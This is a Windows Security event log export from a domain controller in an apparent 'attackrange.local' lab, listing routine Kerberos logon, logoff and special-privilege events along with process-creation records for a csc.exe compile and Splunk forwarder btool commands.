	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\jiojeyb5.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252024
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D1D7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252023
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D1D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64576

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252022
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D1D7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252021
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D176

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252020
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D176
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64575

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252019
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D176

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252018
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D110

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252017
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D110
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64574

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252016
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D110

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252015
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D0AF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252014
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D0AF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64573

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252013
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D0AF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252012
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe88
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252011
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10a4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252010
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252036
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D372

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252035
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D372
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64580

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252034
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D372

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252033
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D311

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252032
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D311
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64579

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252031
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D311

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252030
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D2AB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252029
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D2AB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64578

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252028
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D2AB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252027
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D24A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252026
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D24A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64577

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
